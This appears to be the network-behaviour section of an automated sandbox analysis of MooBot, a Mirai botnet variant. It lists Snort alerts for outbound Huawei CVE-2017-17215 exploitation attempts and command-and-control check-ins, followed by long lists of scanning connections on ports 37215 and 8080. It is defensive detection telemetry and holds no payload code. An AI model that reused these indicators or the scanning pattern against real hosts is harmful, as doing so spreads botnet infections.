Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:56696 -> 192.186.22.158:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:56696 -> 192.186.22.158:37215
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:49564 -> 103.174.73.85:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:49600 -> 103.174.73.85:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:49622 -> 103.174.73.85:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:49652 -> 103.174.73.85:19990
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:57384 -> 197.1.150.147:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:57384 -> 197.1.150.147:37215
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:49676 -> 103.174.73.85:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:49710 -> 103.174.73.85:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:49728 -> 103.174.73.85:19990
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:57566 -> 34.96.83.32:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:57566 -> 34.96.83.32:37215
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:49734 -> 103.174.73.85:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:49736 -> 103.174.73.85:19990
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:41102 -> 31.33.10.14:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:41102 -> 31.33.10.14:37215
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:49752 -> 103.174.73.85:19990
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:41554 -> 94.121.96.245:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:41554 -> 94.121.96.245:37215
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:49796 -> 103.174.73.85:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:49846 -> 103.174.73.85:19990

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 197.7.17.205 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 33060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57384 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 57384
Source: unknown	Network traffic detected: HTTP traffic on port 57566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41102 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41102 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41102 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41554 -> 37215

Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.185.52.105:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 149.188.84.153:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.122.73.105:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.26.83.34:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 206.180.230.72:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.184.132.190:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.197.85.190:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.173.7.154:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 142.184.160.192:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.9.107.156:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 166.79.73.78:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.59.119.17:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.90.176.85:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.195.238.15:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.16.172.148:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.0.175.228:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 8.20.41.116:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.30.224.14:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 159.108.187.16:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.155.116.11:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 83.129.241.116:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.221.200.179:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.206.45.19:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.2.229.233:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.164.229.40:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 163.252.194.15:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 158.95.149.196:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.39.247.159:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 45.194.117.31:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.205.70.179:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.51.233.222:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.206.180.241:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.89.10.238:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.80.146.99:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.18.120.210:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 63.9.35.34:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 25.225.82.37:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.133.168.165:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.132.124.108:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.104.210.214:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 14.131.218.194:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.12.48.145:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.132.52.121:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.104.201.198:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.249.104.243:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.150.112.226:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.140.181.25:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.241.79.222:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.14.34.42:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.74.204.245:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.109.163.22:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.140.66.213:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 38.254.109.234:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.138.125.196:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.232.113.220:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.187.42.166:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 194.95.178.133:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.92.214.48:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.58.188.91:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.20.40.234:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.225.67.75:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.166.174.185:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.35.228.92:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 187.5.182.0:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.197.18.54:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.90.124.91:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.158.89.151:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 183.46.70.105:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 182.137.37.0:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.29.202.68:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.237.35.35:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.72.223.85:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 66.131.1.224:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 156.210.78.27:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.21.83.198:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.198.100.155:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.154.167.16:37215
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 2.23.65.250:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 146.251.42.250:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 78.164.148.153:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 189.100.143.105:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 39.254.45.54:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 171.213.195.26:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 206.114.25.156:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 8.244.103.79:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 32.156.114.207:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 93.168.6.230:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 53.94.202.117:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 39.157.148.190:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 147.153.207.67:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 74.67.218.253:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 163.167.43.211:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 88.222.134.253:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 93.169.112.124:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 174.1.152.55:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 73.188.44.232:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 189.173.16.185:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 24.219.248.91:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 130.179.123.178:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 23.203.68.88:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 2.40.177.52:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 112.89.51.37:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 117.99.122.117:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 27.141.98.190:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 162.80.39.106:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 190.115.145.18:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 173.221.28.68:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 99.184.36.251:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 115.151.62.137:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 45.180.178.35:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 134.96.78.232:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 14.9.194.60:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 27.247.132.208:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 83.5.3.105:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 117.229.136.148:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 79.66.193.226:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 193.130.216.17:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 63.109.146.21:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 32.78.35.95:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 93.130.19.59:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 49.13.175.52:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 133.169.15.164:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 52.186.154.48:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 17.163.251.46:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 147.63.27.69:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 107.193.105.74:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 222.81.4.210:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 188.236.176.100:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 201.52.33.192:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 103.76.251.49:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 85.40.197.21:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 174.92.231.58:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 134.179.88.30:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 13.233.155.111:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 213.166.16.180:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 65.33.154.233:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 217.204.71.231:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 212.22.149.97:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 91.233.161.64:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 81.46.136.209:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 175.188.252.184:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 153.96.139.70:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 117.32.94.12:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 197.204.177.37:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 91.219.226.72:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 219.106.15.57:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 34.242.179.194:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 148.236.171.196:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 14.179.37.180:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 115.118.126.41:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 5.253.138.181:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 95.100.77.138:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 167.75.241.15:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 167.97.246.108:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 77.19.158.250:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 102.230.164.220:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 177.56.170.126:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 126.132.243.85:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 190.53.22.88:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 75.194.241.35:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 179.196.126.42:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 174.139.47.39:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 117.229.62.93:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 99.6.132.2:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 148.227.110.251:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 157.217.136.205:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 160.158.215.2:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 32.56.53.242:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 109.197.68.125:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 123.116.57.77:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 37.179.210.91:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 163.83.119.124:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 2.63.133.255:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 221.11.67.101:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 163.34.4.253:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 59.98.77.2:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 219.212.65.208:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 151.112.175.31:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 151.138.135.170:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 88.127.19.190:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 100.139.113.235:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 117.22.164.250:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 113.168.138.241:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 195.2.105.182:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 2.12.166.55:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 62.160.129.75:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 190.66.55.241:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 196.74.42.99:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 173.32.7.128:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 58.182.254.128:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 120.51.212.186:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 36.237.33.236:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 147.132.212.165:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 223.163.168.252:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 217.246.133.181:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 18.64.176.247:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 31.201.24.66:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 132.231.150.166:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 60.223.38.179:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 36.55.14.97:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 115.236.235.61:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 180.157.128.247:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 9.39.194.123:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 112.41.135.153:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 79.8.196.188:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 189.21.218.110:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 154.112.184.41:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 203.47.13.132:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 27.57.5.77:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 92.249.48.96:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 206.207.15.28:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 42.216.236.66:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 102.52.119.111:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 38.188.221.103:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 142.243.76.155:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 130.175.78.50:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 113.69.44.71:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 76.229.66.242:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 199.195.222.147:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 145.130.65.13:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 20.225.130.90:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 63.21.143.133:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 98.111.60.212:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 54.80.10.242:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 144.169.62.107:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 168.101.50.21:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 202.153.6.150:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 118.57.52.229:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 126.99.239.234:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 116.237.217.151:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 118.224.58.13:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 134.247.84.245:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 223.195.123.6:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 191.224.235.59:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 153.97.248.80:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 25.92.94.150:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 80.90.170.212:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 9.9.40.78:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 221.149.1.57:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 14.216.141.249:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 12.240.244.125:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 31.106.204.230:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 169.9.191.251:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 185.197.223.104:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 100.138.44.23:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 179.143.138.61:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 126.57.85.241:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 223.104.6.72:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 76.169.75.109:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 95.48.186.200:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 50.209.40.240:8080
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.93.230.90:37215
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 201.68.93.83:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 8.239.106.247:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 223.13.79.196:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 62.35.245.113:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 133.237.151.6:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 145.248.239.30:8080
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.242.18.240:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 181.243.41.204:37215
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 67.201.183.243:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 116.192.215.110:8080
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.158.110.230:37215
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 183.137.253.226:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 138.213.18.71:8080
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.59.37.230:37215
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 164.0.161.202:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 76.173.97.119:8080
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 151.231.134.26:37215
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 208.192.179.6:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 20.57.16.6:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 174.194.3.8:8080
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.194.188.171:37215
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 197.21.200.240:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 218.90.32.7:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 125.222.216.174:8080
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.52.13.174:37215
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 132.48.207.10:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 160.111.15.189:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 107.4.131.150:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 76.159.64.98:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 195.198.240.211:8080
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 157.15.2.47:37215
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 153.231.253.112:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 197.175.235.235:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 106.134.220.57:8080
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 73.145.173.81:37215
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 41.88.117.91:37215
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 76.134.237.95:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 169.168.94.78:8080
Source: global traffic	TCP traffic: 192.168.2.15:2906 -> 183.39.127.161:8080
Source: global traffic	TCP traffic: 192.168.2.15:2138 -> 197.90.118.163:37215
